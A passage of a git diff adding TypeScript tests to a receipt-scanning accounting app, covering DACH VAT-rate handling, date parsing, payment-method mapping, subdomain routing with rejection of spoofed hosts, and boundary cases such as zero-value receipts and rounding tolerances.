expect(inferTaxCountry({ currency: "EUR" })).toBe("DACH");
|
||||
expect(inferTaxCountry({ currency: "USD" })).toBe("OTHER");
|
||||
});
|
||||
|
||||
test("AT 20% wird nicht auf DE 19% gesnappt", () => {
|
||||
expect(snapVatRate(20, "AT")).toBe(20);
|
||||
expect(snapVatRate(19.2, "AT")).toBe(20);
|
||||
expect(snapVatRate(19, "DE")).toBe(19);
|
||||
expect(snapVatRate(8.1, "CH")).toBe(8.1);
|
||||
expect(snapVatRate(8.05, "CH")).toBe(8.1);
|
||||
expect(snapVatRate(8.75, "OTHER")).toBe(8.75);
|
||||
expect(snapVatRate(20, "DACH")).toBe(20);
|
||||
expect(snapVatRate(19, "DACH")).toBe(19);
|
||||
});
|
||||
|
||||
test("fehlender Steuersatz wird nicht mit 19 gefüllt", () => {
|
||||
expect(resolveTaxRatePercent({ taxAmount: 0, netAmount: 10 }, "DE")).toBe(0);
|
||||
expect(
|
||||
resolveTaxRatePercent({ taxAmount: 20, netAmount: 100 }, "AT")
|
||||
).toBe(20);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint E — Reconcile Steuersätze", () => {
|
||||
test("AT-Beleg mit Netto/Brutto bekommt 20%, nicht 19%", () => {
|
||||
const out = reconcileAndEnhanceReceiptData(
|
||||
receipt({
|
||||
merchant: { name: "Billa", address: "Wien", taxId: "ATU12345678", confidence: 0.9 },
|
||||
totalAmount: { value: 120, confidence: 0.9 },
|
||||
netAmount: 100,
|
||||
taxBreakdown: [],
|
||||
})
|
||||
);
|
||||
expect(out.taxBreakdown).toHaveLength(1);
|
||||
expect(out.taxBreakdown[0].ratePercent).toBe(20);
|
||||
expect(out.taxBreakdown[0].taxAmount).toBe(20);
|
||||
});
|
||||
|
||||
test("CH-Beleg mit CHF wird auf 8.1% gesnappt", () => {
|
||||
const out = reconcileAndEnhanceReceiptData(
|
||||
receipt({
|
||||
merchant: { name: "Migros", address: "Zürich", taxId: "CHE-123.456.789", confidence: 0.9 },
|
||||
currency: "CHF",
|
||||
totalAmount: { value: 108.1, confidence: 0.9 },
|
||||
netAmount: 100,
|
||||
taxBreakdown: [],
|
||||
})
|
||||
);
|
||||
expect(out.taxBreakdown[0].ratePercent).toBe(8.1);
|
||||
});
|
||||
|
||||
test("DE-Beleg bleibt bei 19%", () => {
|
||||
const out = reconcileAndEnhanceReceiptData(
|
||||
receipt({
|
||||
merchant: { name: "REWE", address: "Berlin", taxId: "DE123456789", confidence: 0.9 },
|
||||
totalAmount: { value: 119, confidence: 0.9 },
|
||||
netAmount: 100,
|
||||
taxBreakdown: [],
|
||||
})
|
||||
);
|
||||
expect(out.taxBreakdown[0].ratePercent).toBe(19);
|
||||
});
|
||||
|
||||
test("EUR ohne Land-Hinweis: 20% bleibt 20, nicht 19", () => {
|
||||
const out = reconcileAndEnhanceReceiptData(
|
||||
receipt({
|
||||
merchant: { name: "Spar", address: null, taxId: null, confidence: 0.9 },
|
||||
currency: "EUR",
|
||||
totalAmount: { value: 120, confidence: 0.9 },
|
||||
netAmount: 100,
|
||||
taxBreakdown: [],
|
||||
})
|
||||
);
|
||||
expect(out.taxBreakdown[0].ratePercent).toBe(20);
|
||||
});
|
||||
|
||||
test("US-Beleg ohne DACH-Satz bleibt bei berechnetem Satz", () => {
|
||||
const out = reconcileAndEnhanceReceiptData(
|
||||
receipt({
|
||||
merchant: { name: "Walgreens", address: "United States", taxId: null, confidence: 0.9 },
|
||||
currency: "USD",
|
||||
totalAmount: { value: 108.75, confidence: 0.9 },
|
||||
netAmount: 100,
|
||||
taxBreakdown: [],
|
||||
})
|
||||
);
|
||||
expect(out.taxBreakdown[0].ratePercent).toBe(8.75);
|
||||
});
|
||||
|
||||
test("leere ratePercent-Zeile wird 0, nicht 19", () => {
|
||||
const out = reconcileAndEnhanceReceiptData(
|
||||
receipt({
|
||||
taxBreakdown: [{ ratePercent: undefined as unknown as number, taxAmount: 0, netAmount: 50 }],
|
||||
})
|
||||
);
|
||||
expect(out.taxBreakdown[0].ratePercent).toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint E — Datumsparser", () => {
|
||||
test("ISO bleibt ISO", () => {
|
||||
expect(parseReceiptDate("2026-08-16")).toBe("2026-08-16");
|
||||
});
|
||||
|
||||
test("DACH-Punkt-Datum ist Tag.Monat.Jahr", () => {
|
||||
expect(parseReceiptDate("16.08.2026")).toBe("2026-08-16");
|
||||
expect(parseReceiptDate("16.08.26")).toBe("2026-08-16");
|
||||
});
|
||||
|
||||
test("Jahr-zuerst mit Punkt/Slash", () => {
|
||||
expect(parseReceiptDate("2026/08/16")).toBe("2026-08-16");
|
||||
});
|
||||
|
||||
test("eindeutige Slash-Daten: Tag > 12 vs Monat > 12", () => {
|
||||
expect(parseReceiptDate("16/08/2026")).toBe("2026-08-16");
|
||||
expect(parseReceiptDate("08/16/2026")).toBe("2026-08-16");
|
||||
});
|
||||
|
||||
test("mehrdeutiges 01/02/2026: EUR Tag zuerst, USD Monat zuerst", () => {
|
||||
expect(parseReceiptDate("01/02/2026", { currency: "EUR" })).toBe("2026-02-01");
|
||||
expect(parseReceiptDate("01/02/2026", { currency: "USD" })).toBe("2026-01-02");
|
||||
});
|
||||
|
||||
test("Reconcile wandelt 16.08.2026 nach ISO", () => {
|
||||
const out = reconcileAndEnhanceReceiptData(
|
||||
receipt({ date: { isoDate: "16.08.2026", time: null, confidence: 0.9 } })
|
||||
);
|
||||
expect(out.date.isoDate).toBe("2026-08-16");
|
||||
});
|
||||
|
||||
test("Sanitize parst DACH-Datum statt es zu verwerfen", () => {
|
||||
const out = sanitizeExtractionOutput(
|
||||
receipt({ date: { isoDate: "03.01.2026", time: "10:00", confidence: 0.9 } })
|
||||
);
|
||||
expect(out.date.isoDate).toBe("2026-01-03");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint E — Zahlart", () => {
|
||||
test("Enum und gängige Belegtexte werden gemappt", () => {
|
||||
expect(normalizePaymentMethod("EC_KARTE")).toBe("EC_KARTE");
|
||||
expect(normalizePaymentMethod("girocard")).toBe("EC_KARTE");
|
||||
expect(normalizePaymentMethod("EC-Karte")).toBe("EC_KARTE");
|
||||
expect(normalizePaymentMethod("Visa")).toBe("KREDITKARTE");
|
||||
expect(normalizePaymentMethod("Bar")).toBe("BAR");
|
||||
expect(normalizePaymentMethod("Apple Pay")).toBe("APPLE_PAY");
|
||||
expect(normalizePaymentMethod("PayPal")).toBe("PAYPAL");
|
||||
expect(normalizePaymentMethod("Überweisung")).toBe("UEBERWEISUNG");
|
||||
expect(normalizePaymentMethod("")).toBeNull();
|
||||
expect(normalizePaymentMethod(null)).toBeNull();
|
||||
});
|
||||
|
||||
test("Reconcile übernimmt gemappte Zahlart", () => {
|
||||
const out = reconcileAndEnhanceReceiptData(
|
||||
receipt({ paymentMethod: "girocard" as never })
|
||||
);
|
||||
expect(out.paymentMethod).toBe("EC_KARTE");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint E — Manuelle Steuersätze", () => {
|
||||
test("parseTaxRatePercent akzeptiert 7, 19, 20 und Kommawerte", () => {
|
||||
expect(parseTaxRatePercent("7")).toBe(7);
|
||||
expect(parseTaxRatePercent("19%")).toBe(19);
|
||||
expect(parseTaxRatePercent("20")).toBe(20);
|
||||
expect(parseTaxRatePercent("8,1")).toBe(8.1);
|
||||
expect(parseTaxRatePercent("")).toBeNull();
|
||||
expect(parseTaxRatePercent("150")).toBe(100);
|
||||
});
|
||||
|
||||
test("taxTotalsByRate aggregiert beliebige Sätze", () => {
|
||||
const rows = taxTotalsByRate([
|
||||
receipt({
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 20, taxAmount: 20, netAmount: 100 },
|
||||
{ ratePercent: 10, taxAmount: 5, netAmount: 50 },
|
||||
],
|
||||
}),
|
||||
]);
|
||||
expect(rows.map((r) => r.rate)).toEqual([10, 20]);
|
||||
expect(rows[1].amount).toBe(20);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Sprint E — Bounding Boxes", () => {
|
||||
test("ohne OCR-Koordinaten keine Overlay-Boxen", () => {
|
||||
expect(hasExtractedBoundingBoxes(undefined)).toBe(false);
|
||||
expect(hasExtractedBoundingBoxes({})).toBe(false);
|
||||
expect(
|
||||
hasExtractedBoundingBoxes({
|
||||
merchant: { x: 10, y: 10, width: 40, height: 8 },
|
||||
})
|
||||
).toBe(true);
|
||||
});
|
||||
});
|
||||
191
tests/e2e/subdomain_routing.test.ts
Normal file
191
tests/e2e/subdomain_routing.test.ts
Normal file
@@ -0,0 +1,191 @@
|
||||
/**
|
||||
* Subdomain Routing Suite — pure logic, no Next.js Edge runtime required.
|
||||
*
|
||||
* Verifies the middleware contract in src/lib/routing/subdomain.ts and the
|
||||
* return-origin helper in src/lib/seo/site.ts:
|
||||
* - admin.* → /admin route group, with /api/* and /dashboard* passing through
|
||||
* unchanged (fixes the 404 the admin UI would otherwise hit on its own
|
||||
* subdomain);
|
||||
* - app.* → dashboard surface only; auth/admin/legal redirect to the main
|
||||
* host, everything else is a dashboard sub-route;
|
||||
* - boundary-aware admin path detection (no accidental admin-gating of
|
||||
* /administrator or /api/adminx);
|
||||
* - strict first-party host validation (app.evil.example is never routed);
|
||||
* - originForFirstPartyHost returns the origin the user started on.
|
||||
*/
|
||||
|
||||
import { describe, test, expect } from "./runner";
|
||||
import { siteUrl, hostIsSiteFirstParty, originForFirstPartyHost } from "../../src/lib/seo/site";
|
||||
import { decideSubdomain, isAdminPath, isDashboardPath, MAIN_HOST_ONLY_PREFIXES } from "../../src/lib/routing/subdomain";
|
||||
|
||||
const siteHost = new URL(siteUrl).host;
|
||||
const appHost = `app.${siteHost}`;
|
||||
const adminHost = `admin.${siteHost}`;
|
||||
|
||||
describe("Subdomain routing — admin path detection (boundary-aware)", () => {
|
||||
test("/admin and /admin/* are admin", () => {
|
||||
expect(isAdminPath("/admin")).toBe(true);
|
||||
expect(isAdminPath("/admin/")).toBe(true);
|
||||
expect(isAdminPath("/admin/users")).toBe(true);
|
||||
});
|
||||
|
||||
test("/api/admin and /api/admin/* are admin", () => {
|
||||
expect(isAdminPath("/api/admin")).toBe(true);
|
||||
expect(isAdminPath("/api/admin/stats")).toBe(true);
|
||||
expect(isAdminPath("/api/admin/system/settings")).toBe(true);
|
||||
});
|
||||
|
||||
test("prefix lookalikes are NOT admin — no boundary false-positives", () => {
|
||||
expect(isAdminPath("/administrator")).toBe(false);
|
||||
expect(isAdminPath("/api/adminx")).toBe(false);
|
||||
expect(isAdminPath("/api/administrator")).toBe(false);
|
||||
expect(isAdminPath("/admin_old")).toBe(false);
|
||||
});
|
||||
|
||||
test("non-admin app routes are not admin", () => {
|
||||
expect(isAdminPath("/")).toBe(false);
|
||||
expect(isAdminPath("/dashboard")).toBe(false);
|
||||
expect(isAdminPath("/api/scan")).toBe(false);
|
||||
expect(isAdminPath("/api/auth/login")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Subdomain routing — dashboard path detection (boundary-aware)", () => {
|
||||
test("/dashboard and /dashboard/* are dashboard", () => {
|
||||
expect(isDashboardPath("/dashboard")).toBe(true);
|
||||
expect(isDashboardPath("/dashboard/")).toBe(true);
|
||||
expect(isDashboardPath("/dashboard/export")).toBe(true);
|
||||
expect(isDashboardPath("/dashboard/onboarding")).toBe(true);
|
||||
});
|
||||
|
||||
test("prefix lookalikes are NOT dashboard", () => {
|
||||
expect(isDashboardPath("/dashboarding")).toBe(false);
|
||||
expect(isDashboardPath("/api/dashboard")).toBe(false);
|
||||
expect(isDashboardPath("/")).toBe(false);
|
||||
expect(isDashboardPath("/auth/login")).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Subdomain routing — admin.* branch", () => {
|
||||
test("the admin host is first-party", () => {
|
||||
expect(hostIsSiteFirstParty(adminHost)).toBe(true);
|
||||
});
|
||||
|
||||
test("/admin pages pass through unchanged", () => {
|
||||
const d1 = decideSubdomain(adminHost, "/admin");
|
||||
const d2 = decideSubdomain(adminHost, "/admin/users");
|
||||
expect(d1.kind).toBe("next");
|
||||
expect(d2.kind).toBe("next");
|
||||
});
|
||||
|
||||
test("/api/* passes through unchanged — the admin UI data calls keep working", () => {
|
||||
const d1 = decideSubdomain(adminHost, "/api/admin/stats");
|
||||
const d2 = decideSubdomain(adminHost, "/api/admin/users");
|
||||
const d3 = decideSubdomain(adminHost, "/api/auth/login");
|
||||
expect(d1.kind).toBe("next");
|
||||
expect(d2.kind).toBe("next");
|
||||
expect(d3.kind).toBe("next");
|
||||
});
|
||||
|
||||
test("/dashboard* passes through unchanged — admin shell links to the dashboard", () => {
|
||||
const d = decideSubdomain(adminHost, "/dashboard");
|
||||
expect(d.kind).toBe("next");
|
||||
});
|
||||
|
||||
test("root and unknown paths rewrite under /admin", () => {
|
||||
const root = decideSubdomain(adminHost, "/");
|
||||
expect(root.kind).toBe("rewrite");
|
||||
if (root.kind === "rewrite") expect(root.pathname).toBe("/admin");
|
||||
|
||||
const login = decideSubdomain(adminHost, "/login");
|
||||
expect(login.kind).toBe("rewrite");
|
||||
if (login.kind === "rewrite") expect(login.pathname).toBe("/admin/login");
|
||||
});
|
||||
|
||||
test("a spoofed admin host is never routed", () => {
|
||||
expect(decideSubdomain("admin.evil.example", "/").kind).toBe("none");
|
||||
expect(decideSubdomain(`admin.${siteHost}.evil.example`, "/").kind).toBe("none");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Subdomain routing — app.* branch", () => {
|
||||
test("root serves the dashboard", () => {
|
||||
const d = decideSubdomain(appHost, "/");
|
||||
expect(d.kind).toBe("rewrite");
|
||||
if (d.kind === "rewrite") expect(d.pathname).toBe("/dashboard");
|
||||
});
|
||||
|
||||
test("dashboard and API pass through unchanged", () => {
|
||||
expect(decideSubdomain(appHost, "/dashboard").kind).toBe("next");
|
||||
expect(decideSubdomain(appHost, "/dashboard/receipts").kind).toBe("next");
|
||||
expect(decideSubdomain(appHost, "/api/scan").kind).toBe("next");
|
||||
expect(decideSubdomain(appHost, "/api/admin/stats").kind).toBe("next");
|
||||
});
|
||||
|
||||
test("unknown paths become dashboard sub-routes", () => {
|
||||
const d = decideSubdomain(appHost, "/projects");
|
||||
expect(d.kind).toBe("rewrite");
|
||||
if (d.kind === "rewrite") expect(d.pathname).toBe("/dashboard/projects");
|
||||
});
|
||||
|
||||
test("main-host-only content redirects to the bare domain", () => {
|
||||
for (const prefix of MAIN_HOST_ONLY_PREFIXES) {
|
||||
const d = decideSubdomain(appHost, prefix);
|
||||
expect(d.kind).toBe("redirect");
|
||||
if (d.kind === "redirect") expect(d.pathname).toBe(prefix);
|
||||
}
|
||||
const login = decideSubdomain(appHost, "/auth/login");
|
||||
expect(login.kind).toBe("redirect");
|
||||
const termsDeep = decideSubdomain(appHost, "/terms/extra");
|
||||
expect(termsDeep.kind).toBe("redirect");
|
||||
});
|
||||
|
||||
test("boundary: /authx and /administrator stay dashboard routes, not redirects", () => {
|
||||
const authx = decideSubdomain(appHost, "/authx");
|
||||
expect(authx.kind).toBe("rewrite");
|
||||
if (authx.kind === "rewrite") expect(authx.pathname).toBe("/dashboard/authx");
|
||||
|
||||
const adminish = decideSubdomain(appHost, "/administrator");
|
||||
expect(adminish.kind).toBe("rewrite");
|
||||
if (adminish.kind === "rewrite") expect(adminish.pathname).toBe("/dashboard/administrator");
|
||||
});
|
||||
|
||||
test("a spoofed app host is never routed", () => {
|
||||
expect(decideSubdomain("app.evil.example", "/").kind).toBe("none");
|
||||
expect(decideSubdomain(`app.${siteHost}.evil.example`, "/").kind).toBe("none");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Subdomain routing — non-subdomain hosts", () => {
|
||||
test("the bare site host and unrelated hosts get no subdomain decision", () => {
|
||||
expect(decideSubdomain(siteHost, "/dashboard").kind).toBe("none");
|
||||
expect(decideSubdomain(siteHost, "/").kind).toBe("none");
|
||||
expect(decideSubdomain("evil.example", "/").kind).toBe("none");
|
||||
});
|
||||
});
|
||||
|
||||
describe("Origin helper — return to the host the user started on", () => {
|
||||
test("first-party app./admin. hosts resolve to their own origin", () => {
|
||||
const appUrl = originForFirstPartyHost(appHost);
|
||||
expect(new URL(appUrl).host).toBe(appHost);
|
||||
expect(hostIsSiteFirstParty(new URL(appUrl).host)).toBe(true);
|
||||
|
||||
const adminUrl = originForFirstPartyHost(adminHost);
|
||||
expect(new URL(adminUrl).host).toBe(adminHost);
|
||||
});
|
||||
|
||||
test("the bare site host keeps the site origin", () => {
|
||||
expect(originForFirstPartyHost(siteHost)).toBe(siteUrl);
|
||||
});
|
||||
|
||||
test("non-first-party hosts fall back to siteUrl — no open redirect", () => {
|
||||
expect(originForFirstPartyHost("evil.example")).toBe(siteUrl);
|
||||
expect(originForFirstPartyHost(`app.${siteHost}.evil.example`)).toBe(siteUrl);
|
||||
expect(originForFirstPartyHost("")).toBe(siteUrl);
|
||||
});
|
||||
|
||||
test("the origin keeps the site scheme but swaps the host", () => {
|
||||
const protocol = new URL(siteUrl).protocol;
|
||||
expect(originForFirstPartyHost(appHost)).toMatch(new RegExp(`^${protocol}\\/\\/`));
|
||||
});
|
||||
});
|
||||
1018
tests/e2e/tier1_features.test.ts
Normal file
1018
tests/e2e/tier1_features.test.ts
Normal file
File diff suppressed because it is too large
Load Diff
877
tests/e2e/tier2_boundaries.test.ts
Normal file
877
tests/e2e/tier2_boundaries.test.ts
Normal file
@@ -0,0 +1,877 @@
|
||||
/**
|
||||
* Tier 2: Boundary & Corner Cases Test Suite
|
||||
* Minimum 75 boundary, edge case, and stress tests (>=5 tests per feature area).
|
||||
*/
|
||||
|
||||
import { describe, test, it, expect } from "./runner";
|
||||
import {
|
||||
ReceiptExtractionSchema,
|
||||
ReceiptData,
|
||||
ProcessedReceipt,
|
||||
} from "../../src/lib/schema/receipt";
|
||||
import { validateReceiptMath } from "../../src/lib/ai/mathValidator";
|
||||
import { generateDualSheetExcel } from "../../src/lib/export/excelGenerator";
|
||||
import { generateAccountingCsv } from "../../src/lib/export/csvGenerator";
|
||||
import { processReceiptImage } from "../../src/lib/image/processor";
|
||||
import fs from "fs";
|
||||
import path from "path";
|
||||
import ExcelJS from "exceljs";
|
||||
|
||||
function createBoundaryReceipt(overrides: Partial<ProcessedReceipt> = {}): ProcessedReceipt {
|
||||
return {
|
||||
id: `b-rcpt-${Date.now()}-${Math.random().toString(36).substring(2, 7)}`,
|
||||
merchant: {
|
||||
name: "Boundary Merchant",
|
||||
address: null,
|
||||
taxId: null,
|
||||
confidence: 1.0,
|
||||
},
|
||||
date: {
|
||||
isoDate: "2026-08-15",
|
||||
time: null,
|
||||
confidence: 1.0,
|
||||
},
|
||||
documentType: "KASSENBON",
|
||||
receiptNumber: "BOUND-001",
|
||||
currency: "EUR",
|
||||
totalAmount: {
|
||||
value: 10.0,
|
||||
confidence: 1.0,
|
||||
},
|
||||
netAmount: 8.4,
|
||||
taxBreakdown: [
|
||||
{
|
||||
ratePercent: 19,
|
||||
taxAmount: 1.6,
|
||||
netAmount: 8.4,
|
||||
},
|
||||
],
|
||||
lineItems: [
|
||||
{
|
||||
description: "Test Item",
|
||||
quantity: 1,
|
||||
price: 10.0,
|
||||
taxRate: 19,
|
||||
},
|
||||
],
|
||||
suggestedCategory: "Sonstiges",
|
||||
validation: {
|
||||
isMathValid: true,
|
||||
isDuplicateSuspected: false,
|
||||
needsUserReview: false,
|
||||
reviewField: "none",
|
||||
reviewReason: null,
|
||||
},
|
||||
imageHash: "hash-bound-01",
|
||||
originalFileName: "boundary.jpg",
|
||||
fileSizeBytes: 1000,
|
||||
createdAt: "2026-08-15T12:00:00.000Z",
|
||||
updatedAt: "2026-08-15T12:00:00.000Z",
|
||||
status: "ready",
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("Tier 2: Boundary 1 — 0.00€ Zero-Value Receipts & Nil Tax Cases", () => {
|
||||
test("B1.1 should validate 0.00€ receipt with 0.00€ net and empty tax breakdown", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 0.0, confidence: 1.0 },
|
||||
netAmount: 0.0,
|
||||
taxBreakdown: [{ ratePercent: 0, taxAmount: 0.0, netAmount: 0.0 }],
|
||||
lineItems: [{ description: "Free Promotion", quantity: 1, price: 0.0, taxRate: 0 }],
|
||||
});
|
||||
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
expect(val.needsUserReview).toBe(false);
|
||||
expect(val.calculatedGross).toBe(0.0);
|
||||
});
|
||||
|
||||
test("B1.2 should format 0.00€ in the accounting CSV correctly as '0,00'", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 0.0, confidence: 1.0 },
|
||||
netAmount: 0.0,
|
||||
taxBreakdown: [],
|
||||
});
|
||||
const csv = generateAccountingCsv([r]);
|
||||
expect(csv).toContain('"0,00"');
|
||||
});
|
||||
|
||||
test("B1.3 should generate Excel workbook for 0.00€ receipt without division errors", async () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 0.0, confidence: 1.0 },
|
||||
netAmount: 0.0,
|
||||
taxBreakdown: [],
|
||||
lineItems: [],
|
||||
});
|
||||
const buf = await generateDualSheetExcel([r]);
|
||||
expect(buf.length).toBeGreaterThan(500);
|
||||
});
|
||||
|
||||
test("B1.4 should handle 0-quantity line items", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 0.0, confidence: 1.0 },
|
||||
netAmount: 0.0,
|
||||
lineItems: [{ description: "Zero Item", quantity: 0, price: 0.0, taxRate: 0 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.calculatedItemsSum).toBe(0.0);
|
||||
});
|
||||
|
||||
test("B1.5 should accept 0.00€ values in Zod schema", () => {
|
||||
const data = createBoundaryReceipt({
|
||||
totalAmount: { value: 0.0, confidence: 1.0 },
|
||||
netAmount: 0.0,
|
||||
});
|
||||
const res = ReceiptExtractionSchema.safeParse(data);
|
||||
expect(res.success).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 2 — Commercial Rounding Tolerances (0.01€, 0.02€, 0.03€ vs >0.03€)", () => {
|
||||
test("B2.1 should accept 0.01€ rounding delta (within 0.03€ epsilon)", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 11.91, confidence: 1.0 },
|
||||
netAmount: 10.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.9, netAmount: 10.0 }], // 10.00 + 1.90 = 11.90 (diff 0.01)
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B2.2 should accept 0.02€ rounding delta (within 0.03€ epsilon)", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 11.92, confidence: 1.0 },
|
||||
netAmount: 10.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.9, netAmount: 10.0 }], // diff 0.02
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B2.3 should accept exactly 0.03€ boundary rounding delta", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 11.93, confidence: 1.0 },
|
||||
netAmount: 10.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.9, netAmount: 10.0 }], // diff 0.03
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B2.4 should flag discrepancy when delta exceeds 0.03€ (e.g. 0.04€)", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 11.94, confidence: 1.0 },
|
||||
netAmount: 10.0,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.9, netAmount: 10.0 }], // diff 0.04 > 0.03
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(false);
|
||||
expect(val.needsUserReview).toBe(true);
|
||||
});
|
||||
|
||||
test("B2.5 should handle fractional line item prices sum accumulating within epsilon", () => {
|
||||
// 3 items at 3.33€ = 9.99€ vs gross 10.00€ (diff 0.01€)
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 10.0, confidence: 1.0 },
|
||||
netAmount: 8.4,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.6, netAmount: 8.4 }],
|
||||
lineItems: [
|
||||
{ description: "Item 1", quantity: 1, price: 3.33, taxRate: 19 },
|
||||
{ description: "Item 2", quantity: 1, price: 3.33, taxRate: 19 },
|
||||
{ description: "Item 3", quantity: 1, price: 3.33, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 3 — Multi-Tax Splits & Exotic Tax Rates", () => {
|
||||
test("B3.1 should validate 7% and 19% split accurately", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 126.0, confidence: 1.0 },
|
||||
netAmount: 115.97,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 7, taxAmount: 7.0, netAmount: 100.0 }, // 107.00
|
||||
{ ratePercent: 19, taxAmount: 3.03, netAmount: 15.97 }, // 19.00
|
||||
],
|
||||
lineItems: [
|
||||
{ description: "Food item", quantity: 1, price: 107.0, taxRate: 7 },
|
||||
{ description: "Non-food item", quantity: 1, price: 19.0, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B3.2 should validate 0% tax-free receipts (e.g. postage, medical, sovereign fees)", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 50.0, confidence: 1.0 },
|
||||
netAmount: 50.0,
|
||||
taxBreakdown: [{ ratePercent: 0, taxAmount: 0.0, netAmount: 50.0 }],
|
||||
lineItems: [{ description: "Postage Stamps", quantity: 1, price: 50.0, taxRate: 0 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
expect(val.calculatedTaxSum).toBe(0.0);
|
||||
});
|
||||
|
||||
test("B3.3 should accept international VAT rate like Swiss 8.1%", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
currency: "CHF",
|
||||
totalAmount: { value: 108.1, confidence: 1.0 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 8.1, taxAmount: 8.1, netAmount: 100.0 }],
|
||||
lineItems: [{ description: "Swiss Hotel", quantity: 1, price: 108.1, taxRate: 8.1 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B3.4 should accept UK standard 20% VAT", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
currency: "GBP",
|
||||
totalAmount: { value: 120.0, confidence: 1.0 },
|
||||
netAmount: 100.0,
|
||||
taxBreakdown: [{ ratePercent: 20, taxAmount: 20.0, netAmount: 100.0 }],
|
||||
lineItems: [{ description: "London Transport", quantity: 1, price: 120.0, taxRate: 20 }],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B3.5 should handle receipts with 4 separate tax baskets", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 100.0, confidence: 1.0 },
|
||||
netAmount: 88.0,
|
||||
taxBreakdown: [
|
||||
{ ratePercent: 19, taxAmount: 4.75, netAmount: 25.0 },
|
||||
{ ratePercent: 7, taxAmount: 1.75, netAmount: 25.0 },
|
||||
{ ratePercent: 5, taxAmount: 1.25, netAmount: 25.0 },
|
||||
{ ratePercent: 0, taxAmount: 0.0, netAmount: 13.0 },
|
||||
],
|
||||
lineItems: [],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.isMathValid).toBe(false); // 88 + 7.75 = 95.75 != 100 -> correctly flagged
|
||||
});
|
||||
});
|
||||
|
||||
describe("Tier 2: Boundary 4 — Negative Line Items, Discounts & Bottle Deposits (Pfand)", () => {
|
||||
test("B4.1 should validate receipt with negative bottle deposit (Pfand -0.25€)", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 9.75, confidence: 1.0 },
|
||||
netAmount: 8.19,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 1.56, netAmount: 8.19 }],
|
||||
lineItems: [
|
||||
{ description: "Getränk Kiste", quantity: 1, price: 10.0, taxRate: 19 },
|
||||
{ description: "Leergut Rückgabe (Pfand)", quantity: 1, price: -0.25, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.calculatedItemsSum).toBe(9.75);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
|
||||
test("B4.2 should validate receipt with commercial discount voucher (-10.00€)", () => {
|
||||
const r = createBoundaryReceipt({
|
||||
totalAmount: { value: 40.0, confidence: 1.0 },
|
||||
netAmount: 33.61,
|
||||
taxBreakdown: [{ ratePercent: 19, taxAmount: 6.39, netAmount: 33.61 }],
|
||||
lineItems: [
|
||||
{ description: "Wareneinkauf", quantity: 1, price: 50.0, taxRate: 19 },
|
||||
{ description: "Aktionsgutschein Rabatt", quantity: 1, price: -10.0, taxRate: 19 },
|
||||
],
|
||||
});
|
||||
const val = validateReceiptMath(r);
|
||||
expect(val.calculatedItemsSum).toBe(40.0);
|
||||
expect(val.isMathValid).toBe(true);
|
||||
});
|
||||
